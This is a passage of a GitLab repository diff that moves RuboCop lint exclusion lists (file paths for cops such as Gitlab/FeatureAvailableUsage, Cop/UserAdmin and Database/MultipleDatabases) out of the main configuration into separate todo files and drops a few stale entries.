- - 'ee/app/models/ee/user.rb'
- - 'ee/app/models/protected_environment/deploy_access_level.rb'
- - 'ee/app/policies/ee/group_policy.rb'
- - 'ee/app/policies/ee/project_policy.rb'
- - 'ee/app/services/ee/groups/create_service.rb'
- - 'ee/app/services/ee/groups/update_service.rb'
- - 'ee/app/services/ee/projects/update_service.rb'
- - 'ee/lib/ee/api/helpers.rb'
- - 'ee/lib/ee/gitlab/git_access.rb'
- - 'lib/api/award_emoji.rb'
- - 'lib/api/ci/runners.rb'
- - 'lib/api/entities/ci/runner_details.rb'
- - 'lib/api/entities/ci/user_safe.rb'
- - 'lib/api/groups.rb'
- - 'lib/api/helpers.rb'
- - 'lib/api/personal_access_tokens.rb'
- - 'lib/api/users.rb'
- - 'lib/api/v3/github.rb'
- - 'lib/constraints/admin_constrainer.rb'
- - 'lib/gitlab/auth.rb'
- - 'lib/gitlab/background_migration/user_mentions/models/group.rb'
- - 'lib/gitlab/ci/runner_instructions.rb'
- - 'lib/gitlab/import_export/members_mapper.rb'
- - 'lib/gitlab/performance_bar.rb'
- - 'lib/gitlab/visibility_level.rb'
- - 'qa/qa/runtime/api/client.rb'
-
-# WIP: https://gitlab.com/gitlab-org/gitlab/-/issues/324629
-Gitlab/DelegatePredicateMethods:
- Exclude:
- - 'app/models/clusters/cluster.rb'
- - 'app/models/clusters/platforms/kubernetes.rb'
- - 'app/models/concerns/ci/metadatable.rb'
- - 'app/models/concerns/diff_positionable_note.rb'
- - 'app/models/concerns/integrations/base_data_fields.rb'
- - 'app/models/concerns/resolvable_discussion.rb'
- - 'app/models/project.rb'
- - 'ee/app/models/concerns/ee/ci/metadatable.rb'
- - 'ee/app/models/ee/group.rb'
- - 'ee/app/models/ee/namespace.rb'
- - 'ee/app/models/license.rb'
- - 'lib/gitlab/ci/trace/stream.rb'
-
-# Offense count: 298
-Gitlab/FeatureAvailableUsage:
- Exclude:
- - 'app/controllers/projects/application_controller.rb'
- - 'app/graphql/types/project_type.rb'
- - 'app/helpers/events_helper.rb'
- - 'app/helpers/labels_helper.rb'
- - 'app/policies/project_policy.rb'
- - 'app/views/shared/boards/_switcher.html.haml'
- - 'ee/app/controllers/concerns/description_diff_actions.rb'
- - 'ee/app/controllers/concerns/ee/boards_actions.rb'
- - 'ee/app/controllers/concerns/security_dashboards_permissions.rb'
- - 'ee/app/controllers/ee/boards/lists_controller.rb'
- - 'ee/app/controllers/ee/projects/autocomplete_sources_controller.rb'
- - 'ee/app/controllers/ee/projects/issues_controller.rb'
- - 'ee/app/controllers/ee/projects/security/configuration_controller.rb'
- - 'ee/app/controllers/ee/projects/settings/ci_cd_controller.rb'
- - 'ee/app/controllers/ee/projects/settings/operations_controller.rb'
- - 'ee/app/controllers/ee/projects/settings/repository_controller.rb'
- - 'ee/app/controllers/projects/audit_events_controller.rb'
- - 'ee/app/controllers/projects/cluster_agents_controller.rb'
- - 'ee/app/controllers/projects/iterations/inherited_controller.rb'
- - 'ee/app/controllers/projects/iterations_controller.rb'
- - 'ee/app/controllers/projects/path_locks_controller.rb'
- - 'ee/app/controllers/projects/subscriptions_controller.rb'
- - 'ee/app/finders/autocomplete/vulnerabilities_autocomplete_finder.rb'
- - 'ee/app/finders/clusters/agents_finder.rb'
- - 'ee/app/finders/ee/alert_management/alerts_finder.rb'
- - 'ee/app/finders/ee/alert_management/http_integrations_finder.rb'
- - 'ee/app/graphql/ee/types/group_type.rb'
- - 'ee/app/graphql/mutations/dast/profiles/create.rb'
- - 'ee/app/graphql/mutations/dast/profiles/run.rb'
- - 'ee/app/graphql/mutations/dast/profiles/update.rb'
- - 'ee/app/graphql/mutations/instance_security_dashboard/remove_project.rb'
- - 'ee/app/graphql/resolvers/clusters/agent_tokens_resolver.rb'
- - 'ee/app/helpers/ee/application_helper.rb'
- - 'ee/app/helpers/ee/boards_helper.rb'
- - 'ee/app/helpers/ee/clusters_helper.rb'
- - 'ee/app/helpers/ee/dashboard_helper.rb'
- - 'ee/app/helpers/ee/form_helper.rb'
- - 'ee/app/helpers/ee/graph_helper.rb'
- - 'ee/app/helpers/ee/issues_helper.rb'
- - 'ee/app/helpers/ee/lock_helper.rb'
- - 'ee/app/helpers/ee/operations_helper.rb'
- - 'ee/app/helpers/ee/projects/incidents_helper.rb'
- - 'ee/app/helpers/ee/projects_helper.rb'
- - 'ee/app/helpers/ee/releases_helper.rb'
- - 'ee/app/helpers/ee/search_helper.rb'
- - 'ee/app/helpers/ee/tree_helper.rb'
- - 'ee/app/models/approval_state.rb'
- - 'ee/app/models/concerns/approvable.rb'
- - 'ee/app/models/concerns/ee/project_security_scanners_information.rb'
- - 'ee/app/models/concerns/ee/protected_ref_access.rb'
- - 'ee/app/models/concerns/has_timelogs_report.rb'
- - 'ee/app/models/concerns/insights_feature.rb'
- - 'ee/app/models/ee/board.rb'
- - 'ee/app/models/ee/ci/build.rb'
- - 'ee/app/models/ee/ci/build_dependencies.rb'
- - 'ee/app/models/ee/ci/pipeline.rb'
- - 'ee/app/models/ee/group.rb'
- - 'ee/app/models/ee/group_member.rb'
- - 'ee/app/models/ee/issue.rb'
- - 'ee/app/models/ee/list.rb'
- - 'ee/app/models/ee/merge_request.rb'
- - 'ee/app/models/ee/milestone_release.rb'
- - 'ee/app/models/ee/namespace.rb'
- - 'ee/app/models/ee/namespace_setting.rb'
- - 'ee/app/models/ee/project.rb'
- - 'ee/app/models/ee/project_ci_cd_setting.rb'
- - 'ee/app/models/namespace_statistics.rb'
- - 'ee/app/models/project_security_setting.rb'
- - 'ee/app/policies/compliance_management/framework_policy.rb'
- - 'ee/app/policies/ee/group_policy.rb'
- - 'ee/app/policies/ee/namespace_policy.rb'
- - 'ee/app/policies/ee/project_policy.rb'
- - 'ee/app/policies/ee/protected_branch_policy.rb'
- - 'ee/app/presenters/ee/label_presenter.rb'
- - 'ee/app/presenters/merge_request_approver_presenter.rb'
- - 'ee/app/serializers/dashboard_operations_project_entity.rb'
- - 'ee/app/serializers/ee/environment_entity.rb'
- - 'ee/app/serializers/ee/evidences/release_entity.rb'
- - 'ee/app/serializers/ee/note_entity.rb'
- - 'ee/app/services/boards/epic_boards/update_service.rb'
- - 'ee/app/services/ci/audit_variable_change_service.rb'
- - 'ee/app/services/clusters/agent_tokens/create_service.rb'
- - 'ee/app/services/clusters/agents/create_service.rb'
- - 'ee/app/services/dashboard/projects/create_service.rb'
- - 'ee/app/services/dashboard/projects/list_service.rb'
- - 'ee/app/services/dast/profiles/create_service.rb'
- - 'ee/app/services/dast/profiles/update_service.rb'
- - 'ee/app/services/dast_on_demand_scans/create_service.rb'
- - 'ee/app/services/dast_site_tokens/create_service.rb'
- - 'ee/app/services/dast_site_validations/create_service.rb'
- - 'ee/app/services/dast_site_validations/revoke_service.rb'
- - 'ee/app/services/dast_site_validations/validate_service.rb'
- - 'ee/app/services/ee/alert_management/http_integrations/create_service.rb'
- - 'ee/app/services/ee/audit_event_service.rb'
- - 'ee/app/services/ee/boards/issues/list_service.rb'
- - 'ee/app/services/ee/boards/lists/create_service.rb'
- - 'ee/app/services/ee/boards/update_service.rb'
- - 'ee/app/services/ee/ide/schemas_config_service.rb'
- - 'ee/app/services/ee/issuable_base_service.rb'
- - 'ee/app/services/ee/issue_links/create_service.rb'
- - 'ee/app/services/ee/issues/build_service.rb'
- - 'ee/app/services/ee/lfs/lock_file_service.rb'
- - 'ee/app/services/ee/lfs/unlock_file_service.rb'
- - 'ee/app/services/ee/merge_requests/approval_service.rb'
- - 'ee/app/services/ee/merge_requests/build_service.rb'
- - 'ee/app/services/ee/merge_requests/merge_base_service.rb'
- - 'ee/app/services/ee/merge_requests/refresh_service.rb'
- - 'ee/app/services/ee/merge_requests/update_service.rb'
- - 'ee/app/services/ee/projects/create_service.rb'
- - 'ee/app/services/ee/protected_branches/create_service.rb'
- - 'ee/app/services/ee/releases/create_evidence_service.rb'
- - 'ee/app/services/iterations/create_service.rb'
- - 'ee/app/services/iterations/update_service.rb'
- - 'ee/app/services/merge_requests/sync_report_approver_approval_rules.rb'
- - 'ee/app/services/merge_requests/update_blocks_service.rb'
- - 'ee/app/services/projects/mark_for_deletion_service.rb'
- - 'ee/app/services/quality_management/test_cases/create_service.rb'
- - 'ee/app/services/requirements_management/process_test_reports_service.rb'
- - 'ee/app/services/security/store_scans_service.rb'
- - 'ee/app/views/layouts/nav/_test_cases_link.html.haml'
- - 'ee/app/views/layouts/nav/sidebar/_project_iterations_link.html.haml'
- - 'ee/app/views/projects/_merge_request_approvals_settings.html.haml'
- - 'ee/app/views/projects/_merge_request_settings.html.haml'
- - 'ee/app/views/projects/_merge_request_settings_description_text.html.haml'
- - 'ee/app/views/projects/audit_events/index.html.haml'
- - 'ee/app/views/projects/blob/_header_file_locks.html.haml'
- - 'ee/app/views/projects/issues/_related_issues.html.haml'
- - 'ee/app/views/projects/merge_requests/show.html.haml'
- - 'ee/app/views/projects/merge_requests/show.html.haml'
- - 'ee/app/views/projects/merge_requests/show.html.haml'
- - 'ee/app/views/projects/merge_requests/show.html.haml'
- - 'ee/app/views/projects/merge_requests/show.html.haml'
- - 'ee/app/views/projects/merge_requests/show.html.haml'
- - 'ee/app/views/projects/merge_requests/show.html.haml'
- - 'ee/app/views/projects/merge_requests/show.html.haml'
- - 'ee/app/views/projects/merge_requests/show.html.haml'
- - 'ee/app/views/projects/pipelines/_tabs_content.html.haml'
- - 'ee/app/views/projects/protected_branches/ee/_code_owner_approval_form.html.haml'
- - 'ee/app/views/projects/protected_branches/ee/_code_owner_approval_table.html.haml'
- - 'ee/app/views/projects/protected_branches/ee/_code_owner_approval_table_head.html.haml'
- - 'ee/app/views/projects/push_rules/_index.html.haml'
- - 'ee/app/views/projects/settings/_default_issue_template.html.haml'
- - 'ee/app/views/projects/settings/_marked_for_removal.html.haml'
- - 'ee/app/views/projects/settings/_restore.html.haml'
- - 'ee/app/views/projects/settings/ci_cd/_auto_rollback.html.haml'
- - 'ee/app/views/projects/settings/ci_cd/_pipeline_subscriptions.html.haml'
- - 'ee/app/views/projects/settings/operations/_status_page.html.haml'
- - 'ee/app/views/projects/settings/repository/_protected_branches.html.haml'
- - 'ee/app/views/projects/sidebar/_repository_locked_files.html.haml'
- - 'ee/app/views/shared/issuable/_group_bulk_update_sidebar.html.haml'
- - 'ee/app/views/shared/issuable/form/_default_templates.html.haml'
- - 'ee/app/views/shared/labels/_create_label_help_text.html.haml'
- - 'ee/app/views/shared/promotions/_promote_mr_features.html.haml'
- - 'ee/app/views/shared/promotions/_promote_mr_features.html.haml'
- - 'ee/app/views/shared/promotions/_promote_repository_features.html.haml'
- - 'ee/app/views/shared/promotions/_promote_repository_features.html.haml'
- - 'ee/app/views/shared/promotions/_promote_repository_features.html.haml'
- - 'ee/app/views/shared/promotions/_promote_repository_features.html.haml'
- - 'ee/app/views/shared/promotions/_promote_repository_features.html.haml'
- - 'ee/app/views/shared/promotions/_promote_repository_features.html.haml'
- - 'ee/app/workers/analytics/code_review_metrics_worker.rb'
- - 'ee/app/workers/group_saml_group_sync_worker.rb'
- - 'ee/lib/api/external_status_checks.rb'
- - 'ee/lib/ee/api/entities/approval_state.rb'
- - 'ee/lib/ee/api/entities/board.rb'
- - 'ee/lib/ee/api/entities/issue.rb'
- - 'ee/lib/ee/api/entities/project.rb'
- - 'ee/lib/ee/api/helpers.rb'
- - 'ee/lib/ee/api/internal/kubernetes.rb'
- - 'ee/lib/ee/api/job_artifacts.rb'
- - 'ee/lib/ee/api/projects.rb'
- - 'ee/lib/ee/gitlab/alert_management/payload/generic.rb'
- - 'ee/lib/ee/gitlab/checks/diff_check.rb'
- - 'ee/lib/ee/gitlab/gon_helper.rb'
- - 'ee/lib/ee/gitlab/tree_summary.rb'
- - 'ee/lib/gitlab/alert_management.rb'
- - 'ee/lib/gitlab/ci/pipeline/chain/config/content/compliance.rb'
- - 'ee/lib/gitlab/code_owners.rb'
- - 'ee/lib/gitlab/incident_management.rb'
- - 'ee/lib/gitlab/path_locks_finder.rb'
- - 'ee/lib/incident_management/incident_sla.rb'
- - 'ee/spec/models/instance_security_dashboard_spec.rb'
- - 'ee/spec/models/license_spec.rb'
- - 'ee/spec/models/project_spec.rb'
- - 'lib/api/helpers/related_resources_helpers.rb'
- - 'spec/models/concerns/featurable_spec.rb'
-
-# WIP see: https://gitlab.com/gitlab-org/gitlab/-/issues/335808
-Database/MultipleDatabases:
- Exclude:
- - 'ee/lib/ee/gitlab/database.rb'
- - 'ee/lib/gitlab/geo/database_tasks.rb'
- - 'ee/lib/gitlab/geo/geo_tasks.rb'
- - 'ee/lib/gitlab/geo/health_check.rb'
- - 'ee/lib/gitlab/geo/log_cursor/daemon.rb'
- - 'ee/lib/pseudonymizer/dumper.rb'
- - 'ee/lib/pseudonymizer/pager.rb'
- - 'ee/lib/system_check/geo/geo_database_configured_check.rb'
- - 'ee/spec/lib/pseudonymizer/dumper_spec.rb'
- - 'ee/spec/models/pg_replication_slot_spec.rb'
- - 'ee/spec/services/ee/merge_requests/update_service_spec.rb'
- - 'lib/backup/database.rb'
- - 'lib/after_commit_queue.rb'
- - 'lib/backup/manager.rb'
- - 'lib/gitlab/current_settings.rb'
- - 'lib/gitlab/database/load_balancing/load_balancer.rb'
- - 'lib/gitlab/database/load_balancing.rb'
- - 'lib/gitlab/database/load_balancing/sticking.rb'
- - 'lib/gitlab/database/migrations/observers/migration_observer.rb'
- - 'lib/gitlab/database/migrations/observers/query_log.rb'
- - 'lib/gitlab/database/partitioning_migration_helpers/backfill_partitioned_table.rb'
- - 'lib/gitlab/database.rb'
- - 'lib/gitlab/database/schema_cache_with_renamed_table.rb'
- - 'lib/gitlab/database/with_lock_retries.rb'
- - 'lib/gitlab/gitlab_import/importer.rb'
- - 'lib/gitlab/health_checks/db_check.rb'
- - 'lib/gitlab/import_export/base/relation_factory.rb'
- - 'lib/gitlab/import_export/group/relation_tree_restorer.rb'
- - 'lib/gitlab/legacy_github_import/importer.rb'
- - 'lib/gitlab/metrics/samplers/database_sampler.rb'
- - 'lib/gitlab/seeder.rb'
- - 'lib/gitlab/sherlock/query.rb'
- - 'lib/system_check/orphans/repository_check.rb'
- - 'spec/db/schema_spec.rb'
- - 'spec/initializers/database_config_spec.rb'
- - 'spec/lib/backup/manager_spec.rb'
- - 'spec/lib/gitlab/current_settings_spec.rb'
- - 'spec/lib/gitlab/database_spec.rb'
- - 'spec/lib/gitlab/metrics/subscribers/active_record_spec.rb'
- - 'spec/lib/gitlab/profiler_spec.rb'
- - 'spec/lib/gitlab/usage_data_metrics_spec.rb'
- - 'spec/lib/gitlab/usage_data_queries_spec.rb'
- - 'spec/lib/gitlab/usage/metrics/names_suggestions/relation_parsers/constraints_spec.rb'
- - 'spec/lib/gitlab/usage/metrics/names_suggestions/relation_parsers/joins_spec.rb'
- - 'spec/lib/gitlab/usage/metrics/instrumentations/database_metric_spec.rb'
- - 'spec/lib/gitlab/utils/usage_data_spec.rb'
- - 'spec/models/project_feature_usage_spec.rb'
- - 'spec/models/users_statistics_spec.rb'
- - 'spec/services/users/activity_service_spec.rb'
- - 'spec/support/caching.rb'
- - 'spec/support/gitlab/usage/metrics_instrumentation_shared_examples.rb'
- - 'spec/support/helpers/database_connection_helpers.rb'
- - 'spec/support/helpers/database/database_helpers.rb'
- - 'spec/support/helpers/database/table_schema_helpers.rb'
- - 'spec/support/helpers/migrations_helpers.rb'
- - 'spec/support/helpers/query_recorder.rb'
- - 'spec/support/helpers/usage_data_helpers.rb'
- - 'spec/tasks/gitlab/backup_rake_spec.rb'
- - 'spec/tasks/gitlab/db_rake_spec.rb'
-
-# WIP: https://gitlab.com/gitlab-org/gitlab/-/issues/339787
-Performance/ActiveRecordSubtransactionMethods:
- Exclude:
- - 'app/controllers/clusters/clusters_controller.rb'
- - 'app/controllers/repositories/lfs_storage_controller.rb'
- - 'app/controllers/search_controller.rb'
- - 'app/models/application_record.rb'
- - 'app/models/ci/ref.rb'
- - 'app/models/container_repository.rb'
- - 'app/models/design_management/design_collection.rb'
- - 'app/models/error_tracking/error.rb'
- - 'app/models/external_pull_request.rb'
- - 'app/models/gpg_signature.rb'
- - 'app/models/merge_request.rb'
- - 'app/models/plan.rb'
- - 'app/models/project.rb'
- - 'app/models/shard.rb'
- - 'app/models/x509_certificate.rb'
- - 'app/models/x509_commit_signature.rb'
- - 'app/models/x509_issuer.rb'
- - 'app/services/bulk_imports/relation_export_service.rb'
- - 'app/services/ci/update_build_state_service.rb'
- - 'app/services/event_create_service.rb'
- - 'app/services/groups/import_export/import_service.rb'
- - 'app/services/lfs/file_transformer.rb'
- - 'app/services/merge_requests/approval_service.rb'
- - 'app/services/namespaces/statistics_refresher_service.rb'
- - 'app/services/packages/rubygems/create_dependencies_service.rb'
- - 'app/services/packages/rubygems/metadata_extraction_service.rb'
- - 'app/services/projects/create_service.rb'
- - 'app/services/projects/lfs_pointers/lfs_download_service.rb'
- - 'app/services/service_desk_settings/update_service.rb'
- - 'app/services/service_ping/submit_service.rb'
- - 'app/services/terraform/remote_state_handler.rb'
- - 'app/workers/namespaces/schedule_aggregation_worker.rb'
- - 'app/workers/project_export_worker.rb'
- - 'db/migrate/20200212014653_rename_security_dashboard_feature_flag_to_instance_security_dashboard.rb'
- - 'db/post_migrate/20200214034836_remove_security_dashboard_feature_flag.rb'
- - 'db/post_migrate/20210824174615_prepare_ci_builds_metadata_and_ci_build_async_indexes.rb'
- - 'ee/app/models/ci/minutes/namespace_monthly_usage.rb'
- - 'ee/app/models/ci/minutes/project_monthly_usage.rb'
- - 'ee/app/models/concerns/deprecated_approvals_before_merge.rb'
- - 'ee/app/models/ee/iteration.rb'
- - 'ee/app/models/ee/plan.rb'
- - 'ee/app/models/elastic/index_setting.rb'
- - 'ee/app/models/gitlab_subscription.rb'
- - 'ee/app/models/software_license.rb'
- - 'ee/app/services/boards/user_preferences/update_service.rb'
- - 'ee/app/services/ci/minutes/update_project_and_namespace_usage_service.rb'
- - 'ee/app/services/ee/analytics/cycle_analytics/stages/base_service.rb'
- - 'ee/app/services/security/store_report_service.rb'
- - 'ee/app/services/security/store_scan_service.rb'
- - 'ee/app/workers/import_software_licenses_worker.rb'
- - 'ee/db/fixtures/production/027_plans.rb'
- - 'ee/lib/ee/gitlab/background_migration/migrate_approver_to_approval_rules.rb'
- - 'ee/lib/gitlab/elastic/indexer.rb'
- - 'lib/gitlab/ci/pipeline/seed/environment.rb'
- - 'lib/gitlab/ci/pipeline/seed/processable/resource_group.rb'
- - 'lib/gitlab/ci/trace/chunked_io.rb'
- - 'lib/gitlab/composer/cache.rb'
- - 'lib/gitlab/database/async_indexes/migration_helpers.rb'
- - 'lib/gitlab/issuables_count_for_state.rb'
-
-# WIP: https://gitlab.com/gitlab-org/gitlab/-/issues/340567
-Rails/IncludeUrlHelper:
- Exclude:
- - 'app/models/integrations/asana.rb'
- - 'app/models/integrations/bamboo.rb'
- - 'app/models/integrations/bugzilla.rb'
- - 'app/models/integrations/campfire.rb'
- - 'app/models/integrations/confluence.rb'
- - 'app/models/integrations/custom_issue_tracker.rb'
- - 'app/models/integrations/datadog.rb'
- - 'app/models/integrations/discord.rb'
- - 'app/models/integrations/ewm.rb'
- - 'app/models/integrations/external_wiki.rb'
- - 'app/models/integrations/flowdock.rb'
- - 'app/models/integrations/hangouts_chat.rb'
- - 'app/models/integrations/irker.rb'
- - 'app/models/integrations/jenkins.rb'
- - 'app/models/integrations/mattermost.rb'
- - 'app/models/integrations/pivotaltracker.rb'
- - 'app/models/integrations/redmine.rb'
- - 'app/models/integrations/webex_teams.rb'
- - 'app/models/integrations/youtrack.rb'
- - 'app/presenters/alert_management/alert_presenter.rb'
- - 'app/presenters/ci/pipeline_presenter.rb'
- - 'app/presenters/environment_presenter.rb'
- - 'app/presenters/gitlab/blame_presenter.rb'
- - 'app/presenters/merge_request_presenter.rb'
- - 'app/presenters/project_presenter.rb'
- - 'app/presenters/prometheus_alert_presenter.rb'
- - 'app/presenters/release_presenter.rb'
- - 'app/presenters/releases/evidence_presenter.rb'
- - 'ee/app/helpers/license_helper.rb'
- - 'ee/app/models/integrations/github.rb'
- - 'ee/app/presenters/merge_request_approver_presenter.rb'
- - 'ee/spec/helpers/ee/projects/security/configuration_helper_spec.rb'
- - 'ee/spec/lib/banzai/filter/cross_project_issuable_information_filter_spec.rb'
- - 'ee/spec/lib/banzai/filter/issuable_state_filter_spec.rb'
- - 'lib/gitlab/ci/badge/metadata.rb'
- - 'spec/helpers/merge_requests_helper_spec.rb'
- - 'spec/helpers/nav/top_nav_helper_spec.rb'
- - 'spec/helpers/notify_helper_spec.rb'
- - 'spec/lib/banzai/filter/issuable_state_filter_spec.rb'
- - 'spec/lib/banzai/filter/reference_redactor_filter_spec.rb'
- - 'spec/lib/banzai/reference_redactor_spec.rb'
-
-# TODO issue: https://gitlab.com/gitlab-org/gitlab/-/issues/344279
-Style/OpenStructUse:
- Exclude:
- - 'app/helpers/application_settings_helper.rb'
- - 'ee/spec/db/production/license_spec.rb'
- - 'ee/spec/features/projects/new_project_spec.rb'
- - 'ee/spec/finders/template_finder_spec.rb'
- - 'ee/spec/graphql/ee/resolvers/board_lists_resolver_spec.rb'
- - 'ee/spec/graphql/resolvers/board_groupings/epics_resolvers_spec.rb'
- - 'ee/spec/helpers/ee/blob_helper_spec.rb'
- - 'ee/spec/lib/gitlab/auth/group_saml/failure_handler_spec.rb'
- - 'ee/spec/lib/gitlab/legacy_github_import/project_creator_spec.rb'
- - 'ee/spec/requests/api/ldap_spec.rb'
- - 'lib/api/wikis.rb'
- - 'lib/gitlab/git/diff_collection.rb'
- - 'lib/gitlab/import_export/after_export_strategies/base_after_export_strategy.rb'
- - 'lib/gitlab/testing/request_inspector_middleware.rb'
- - 'lib/mattermost/session.rb'
- - 'spec/bin/feature_flag_spec.rb'
- - 'spec/controllers/admin/clusters_controller_spec.rb'
- - 'spec/controllers/groups/clusters_controller_spec.rb'
- - 'spec/controllers/import/fogbugz_controller_spec.rb'
- - 'spec/controllers/import/gitlab_controller_spec.rb'
- - 'spec/controllers/projects/clusters_controller_spec.rb'
- - 'spec/dependencies/omniauth_saml_spec.rb'
- - 'spec/factories/go_module_versions.rb'
- - 'spec/factories/wiki_pages.rb'
- - 'spec/features/projects/clusters/gcp_spec.rb'
- - 'spec/features/projects/clusters_spec.rb'
- - 'spec/finders/template_finder_spec.rb'
- - 'spec/graphql/mutations/branches/create_spec.rb'
- - 'spec/graphql/mutations/clusters/agent_tokens/create_spec.rb'
- - 'spec/graphql/mutations/clusters/agents/create_spec.rb'
- - 'spec/graphql/mutations/clusters/agents/delete_spec.rb'
- - 'spec/graphql/mutations/commits/create_spec.rb'
- - 'spec/graphql/mutations/merge_requests/accept_spec.rb'
- - 'spec/graphql/mutations/merge_requests/create_spec.rb'
- - 'spec/graphql/types/range_input_type_spec.rb'
- - 'spec/helpers/application_settings_helper_spec.rb'
- - 'spec/helpers/profiles_helper_spec.rb'
- - 'spec/initializers/doorkeeper_spec.rb'
- - 'spec/lib/gitlab/auth/o_auth/provider_spec.rb'
- - 'spec/lib/gitlab/cleanup/orphan_lfs_file_references_spec.rb'
- - 'spec/lib/gitlab/database/migrations/runner_spec.rb'
- - 'spec/lib/gitlab/gitaly_client/blobs_stitcher_spec.rb'
- - 'spec/lib/gitlab/gitaly_client/diff_stitcher_spec.rb'
- - 'spec/lib/gitlab/grape_logging/loggers/exception_logger_spec.rb'
- - 'spec/lib/gitlab/graphql/pagination/keyset/connection_generic_keyset_spec.rb'
- - 'spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb'
- - 'spec/lib/gitlab/legacy_github_import/project_creator_spec.rb'
- - 'spec/lib/gitlab/quick_actions/command_definition_spec.rb'
- - 'spec/lib/gitlab/quick_actions/dsl_spec.rb'
- - 'spec/lib/gitlab/relative_positioning/range_spec.rb'
- - 'spec/models/design_management/design_action_spec.rb'
- - 'spec/models/design_management/design_at_version_spec.rb'
- - 'spec/models/user_spec.rb'
- - 'spec/presenters/packages/nuget/search_results_presenter_spec.rb'
- - 'spec/requests/api/import_github_spec.rb'
- - 'spec/services/packages/nuget/metadata_extraction_service_spec.rb'
- - 'spec/services/projects/import_service_spec.rb'
- - 'spec/services/system_note_service_spec.rb'
- - 'spec/support/helpers/import_spec_helper.rb'
- - 'spec/support/helpers/login_helpers.rb'
- - 'spec/support/helpers/repo_helpers.rb'
- - 'spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb'
- - 'spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb'
- - 'spec/tooling/rspec_flaky/flaky_example_spec.rb'
- - 'tooling/rspec_flaky/flaky_example.rb'
diff --git a/.rubocop_todo.yml b/.rubocop_todo.yml
index f29cb429169..94d8d40c10f 100644
--- a/.rubocop_todo.yml
+++ b/.rubocop_todo.yml
@@ -289,17 +289,6 @@ Performance/DeleteSuffix:
- 'ee/app/models/geo/upload_registry.rb'
- 'ee/app/workers/geo/file_download_dispatch_worker/attachment_job_finder.rb'
-# Offense count: 13
-# Cop supports --auto-correct.
-Performance/Detect:
- Exclude:
- - 'ee/spec/controllers/projects/dependencies_controller_spec.rb'
- - 'ee/spec/requests/api/dependencies_spec.rb'
- - 'qa/qa/runtime/feature.rb'
- - 'spec/lib/gitlab/git/tree_spec.rb'
- - 'spec/lib/gitlab/import_export/project/tree_restorer_spec.rb'
- - 'spec/models/event_spec.rb'
-
# Offense count: 121
Performance/MethodObjectAsBlock:
Enabled: false
@@ -543,7 +532,7 @@ Rails/LexicallyScopedActionFilter:
Rails/LinkToBlank:
Exclude:
- 'app/helpers/projects_helper.rb'
- - 'ee/app/helpers/ee/user_callouts_helper.rb'
+ - 'ee/app/helpers/ee/users/callouts_helper.rb'
# Offense count: 1
# Cop supports --auto-correct.
@@ -827,11 +816,6 @@ Style/RescueModifier:
Style/SingleArgumentDig:
Enabled: false
-# Offense count: 45
-# Cop supports --auto-correct.
-Style/SlicingWithRange:
- Enabled: false
-
# Offense count: 63
# Configuration parameters: AllowModifier.
Style/SoleNestedConditional:
diff --git a/.rubocop_todo/cop/user_admin.yml b/.rubocop_todo/cop/user_admin.yml
new file mode 100644
index 00000000000..5f0f7213950
--- /dev/null
+++ b/.rubocop_todo/cop/user_admin.yml
@@ -0,0 +1,70 @@
+---
+Cop/UserAdmin:
+ Exclude:
+ - app/controllers/admin/impersonations_controller.rb
+ - app/controllers/concerns/spammable_actions.rb
+ - app/controllers/sessions_controller.rb
+ - app/finders/autocomplete/routes_finder.rb
+ - app/finders/ci/jobs_finder.rb
+ - app/finders/ci/runners_finder.rb
+ - app/finders/personal_access_tokens_finder.rb
+ - app/finders/users_finder.rb
+ - app/graphql/mutations/admin/sidekiq_queues/delete_jobs.rb
+ - app/graphql/resolvers/admin/analytics/usage_trends/measurements_resolver.rb
+ - app/helpers/application_helper.rb
+ - app/helpers/import_helper.rb
+ - app/helpers/nav_helper.rb
+ - app/helpers/projects_helper.rb
+ - app/helpers/search_helper.rb
+ - app/helpers/users/callouts_helper.rb
+ - app/helpers/users_helper.rb
+ - app/helpers/visibility_level_helper.rb
+ - app/models/concerns/protected_ref_access.rb
+ - app/models/concerns/spammable.rb
+ - app/models/issue_collection.rb
+ - app/models/merge_requests_closing_issues.rb
+ - app/models/protected_branch.rb
+ - app/models/user.rb
+ - app/policies/note_policy.rb
+ - app/serializers/deploy_key_entity.rb
+ - app/services/auth/container_registry_authentication_service.rb
+ - app/services/emails/create_service.rb
+ - app/services/projects/enable_deploy_key_service.rb
+ - app/services/projects/fork_service.rb
+ - app/services/users/build_service.rb
+ - ee/app/controllers/ee/projects_controller.rb
+ - ee/app/graphql/mutations/admin/analytics/devops_adoption/segments/mixins.rb
+ - ee/app/graphql/resolvers/admin/analytics/devops_adoption/segments_resolver.rb
+ - ee/app/helpers/ee/dashboard_helper.rb
+ - ee/app/helpers/ee/import_helper.rb
+ - ee/app/helpers/ee/subscribable_banner_helper.rb
+ - ee/app/helpers/ee/users/callouts_helper.rb
+ - ee/app/helpers/license_monitoring_helper.rb
+ - ee/app/helpers/push_rules_helper.rb
+ - ee/app/models/concerns/ee/protected_ref_access.rb
+ - ee/app/models/ee/user.rb
+ - ee/app/models/protected_environment/deploy_access_level.rb
+ - ee/app/policies/ee/group_policy.rb
+ - ee/app/policies/ee/project_policy.rb
+ - ee/app/services/ee/groups/create_service.rb
+ - ee/app/services/ee/groups/update_service.rb
+ - ee/app/services/ee/projects/update_service.rb
+ - ee/lib/ee/api/helpers.rb
+ - ee/lib/ee/gitlab/git_access.rb
+ - lib/api/award_emoji.rb
+ - lib/api/ci/runners.rb
+ - lib/api/entities/ci/runner_details.rb
+ - lib/api/entities/ci/user_safe.rb
+ - lib/api/groups.rb
+ - lib/api/helpers.rb
+ - lib/api/personal_access_tokens.rb
+ - lib/api/users.rb
+ - lib/api/v3/github.rb
+ - lib/constraints/admin_constrainer.rb
+ - lib/gitlab/auth.rb
+ - lib/gitlab/background_migration/user_mentions/models/group.rb
+ - lib/gitlab/ci/runner_instructions.rb
+ - lib/gitlab/import_export/members_mapper.rb
+ - lib/gitlab/performance_bar.rb
+ - lib/gitlab/visibility_level.rb
+ - qa/qa/runtime/api/client.rb
diff --git a/.rubocop_todo/database/multiple_databases.yml b/.rubocop_todo/database/multiple_databases.yml
new file mode 100644
index 00000000000..e555c2f912b
--- /dev/null
+++ b/.rubocop_todo/database/multiple_databases.yml
@@ -0,0 +1,60 @@
+---
+Database/MultipleDatabases:
+ Exclude:
+ - ee/lib/ee/gitlab/database.rb
+ - ee/lib/gitlab/geo/database_tasks.rb
+ - ee/lib/gitlab/geo/geo_tasks.rb
+ - ee/lib/gitlab/geo/health_check.rb
